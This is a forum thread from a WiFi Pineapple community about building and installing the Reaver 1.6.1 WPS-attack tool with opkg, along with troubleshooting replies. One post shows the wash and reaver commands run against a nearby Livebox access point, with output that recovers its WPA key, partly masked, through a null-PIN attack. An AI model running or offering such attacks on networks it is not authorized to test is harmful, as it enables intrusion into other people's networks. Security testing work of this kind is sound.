Jump to content

Recommended Posts

Reaver 1.6

As you may or may not know Reaver have gone approx. two years without updates.
It recently got a big update v1.6

I haven't heard or seen anything about the newest version being compiled for our devices, so i took matters into my own hands and managed to compile it properly.
I thought it'd be smart to make a thread about it, where people can post any bugs/issues that they're experiencing, and i'll see if i can get it fixed.
But also to let people know that there exist a new and improved version now.

My GitHub repo. contains the Makefile needed to compile it with OpenWRT-SDK, and it also contains the IPK-file needed to install it to your device.
Repo: https://github.com/adde88/reaver-1.6.1-openwrt
IPK-filehttps://github.com/adde88/reaver-1.6.1-openwrt/raw/master/bin/ar71xx/packages/base/reaver_1.6.1-1_ar71xx.ipk


Installation instructions:  The first window shows an installation to the local-storage, and the second window installs to the SD-card.

  • Open a SSH terminal to your Pineapple, and follow the commands as outlined below:

    #1:
    root@Pineapple:~# cd /tmp
    root@Pineapple:~# wget https://github.com/adde88/reaver-1.6.1-openwrt/raw/master/bin/ar71xx/packages/base/reaver_1.6.1-1_ar71xx.ipk
    root@Pineapple:~# opkg update
    root@Pineapple:~# opkg install reaver_1.6.1-1_ar71xx.ipk --force-downgrade
    #2:
    root@Pineapple:~# cd /tmp
    root@Pineapple:~# wget https://github.com/adde88/reaver-1.6.1-openwrt/raw/master/bin/ar71xx/packages/base/reaver_1.6.1-1_ar71xx.ipk
    root@Pineapple:~# opkg update
    root@Pineapple:~# opkg install reaver_1.6.1-1_ar71xx.ipk --dest sd --force-downgrade

     

If you get an error about checksum not matching, you can add the following string (without quotes) to the last command: "--force-checksum"

I also HIGHLY suggest that you install the newest updated version of libpcap, which fixes alot of issues with Reaver.
Sadly, it's not found on Hak5's repositories at the time i'm writing this.
To get libpcap updated i suggest you follow the instuctions outlined in this thread:
https://forums.hak5.org/topic/38183-official-wps/?page=3

 

Edited by Zylla
  • Like 4

Share this post


Link to post
Share on other sites

Thanks for your work @Zylla, i search for how to install an ipk file for pineapple, do you have a link ?
thank you

Share this post


Link to post
Share on other sites
57 minutes ago, Netask said:

Thanks for your work @Zylla, i search for how to install an ipk file for pineapple, do you have a link ?
thank you

I've edited the post and added instructions. :)

  • Like 1

Share this post


Link to post
Share on other sites

Been testing it this afternoon. I have worked through some devices and so far I don't have one vulnerable to the null pin (-p "") attack. either way no errors so far with various options tried.

Thank you again.

Share this post


Link to post
Share on other sites

Not downgrading package reaver on root from Big_endian-1 to 1.6.1-1.

 

I get this error after $ opkg install reaver_1....... (etc). I tried downloading and using filezilla to get it on the pineapple and also used @Zylla #1 option because its the Tetra.

Share this post


Link to post
Share on other sites
4 hours ago, b0N3z said:

Not downgrading package reaver on root from Big_endian-1 to 1.6.1-1.

 

I get this error after $ opkg install reaver_1....... (etc). I tried downloading and using filezilla to get it on the pineapple and also used @Zylla #1 option because its the Tetra.

I had that message but its not a downgrade its and upgrade really not sure why the warning is there  - but i ran the --force-downgrde option and it installed OK.

Share this post


Link to post
Share on other sites
1 hour ago, Just_a_User said:

I had that message but its not a downgrade its and upgrade really not sure why the warning is there  - but i ran the --force-downgrde option and it installed OK.

It's the version-numbering being used on the old Reaver (Big_endian), which confuses OPKG.
To remove the old one, you can do this before installing:

opkg remove reaver

I've also edited the instructions, and added --force-downgrade. in case people have Reaver installed.

Edited by Zylla
  • Like 1
  • Upvote 1

Share this post


Link to post
Share on other sites
On 19/08/2017 at 11:23 AM, Zylla said:

root@Pineapple:~# cd /tmp

root@Pineapple:~# wget https://github.com/adde88/reaver-1.6.1-openwrt/raw/master/bin/ar71xx/packages/base/reaver_1.6.1-1_ar71xx.ipk

root@Pineapple:~# opkg update root@Pineapple:~# opkg install reaver_1.6.1-1_ar71xx.ipk --force-downgrade

hi,

After installation I have a message when I start reaver :(

root@Pineapple:/tmp# opkg install reaver_1.6.1-1_ar71xx.ipk --force-downgrade
Installing reaver (1.6.1-1) to root...
Configuring reaver.
root@Pineapple:/tmp# reaver
reaver: can't load library 'libpcap.so.1'
root@Pineapple:/tmp# wash
wash: can't load library 'libpcap.so.1'
root@Pineapple:/tmp#

 

Share this post


Link to post
Share on other sites
12 hours ago, Netask said:

After installation I have a message when I start reaver :(

did you install Zylla's updated libpcap-1.8.1 from this post?

 

Edited by Just_a_User
  • Like 1

Share this post


Link to post
Share on other sites
On 21/08/2017 at 0:43 PM, Just_a_User said:

did you install Zylla's updated libpcap-1.8.1 from this post?

hi,

I have updated libpcap and it works :).

Thanks @Just_a_User for your help and @Zylla for your work.

root@Pineapple:~# wash -i wlan1mon

Wash v1.6.1 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner

BSSID              Ch  dBm  WPS  Lck  ESSID
--------------------------------------------------------------------------------
A0:1B:29:XX:XX:XX   1  -76  1.0  No   Livebox-26XX
B0:B2:8F:XX:XX:XX   6  -76  1.0  No   Livebox-66XX
AC:84:C9:XX:XX:XX   6  -85  1.0  No   Livebox-C5XX

root@Pineapple:~# reaver -i wlan1mon -b A0:1B:29:XX:XX:XX -p "" -c 1 -vv

Reaver v1.6.1 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching wlan1mon to channel 1
[+] Waiting for beacon from A0:1B:29:XX:XX:XX
[+] Associated with A0:1B:29:XX:XX:XX (ESSID: Livebox-26XX)
[+] Trying pin ""
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 4 seconds
[+] WPS PIN: ''
[+] WPA PSK: 'XXXX712799XXXX'
[+] AP SSID: 'Livebox-26XX'
[*] String pin was specified, nothing to save.

:cool:

  • Like 1

Share this post


Link to post
Share on other sites

Changed URL to https://github.com/adde88/reaver-openwrt/raw/master/bin/ar71xx/packages/base/reaver_1.6.4-1_ar71xx.ipk
 

Getting this error

No packages removed.
root@Pineapple:/tmp# opkg install reaver_1.6.4-1_ar71xx.ipk --dest sd --force-downgrade
Installing reaver (1.6.4-1) to sd...
Configuring reaver.
grep: /usr/lib/opkg/info/reaver.control: No such file or directory
cat: can't open '/usr/lib/opkg/info/reaver.list': No such file or directory

 

Share this post


Link to post
Share on other sites

I'm sure this is terrible but I seemed to fix with


ln -s /sd/usr/lib/opkg/info/reaver.list /usr/lib/opkg/info/reaver.list
ln -s /sd/usr/lib/opkg/info/reaver.control /usr/lib/opkg/info/reaver.control

 

Share this post


Link to post
Share on other sites

That «error» is displayed on every IPK installed on the Nano (because of the overlay filesystem).

It can safely be ignored, and causes no errors with the installed software.

Share this post


Link to post
Share on other sites

sorry im being very lazy but i also noticed the wps module has an update button near it. is this the same package? i

Share this post


Link to post
Share on other sites
Just now, Rinilyn said:

sorry im being very lazy but i also noticed the wps module has an update button near it. is this the same package? i

Nah, this is just a project i'm trying to keep up-to-date privately. It doesn't sync with the WPS module to my knowledge. Neiter am i the author of said module :)

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...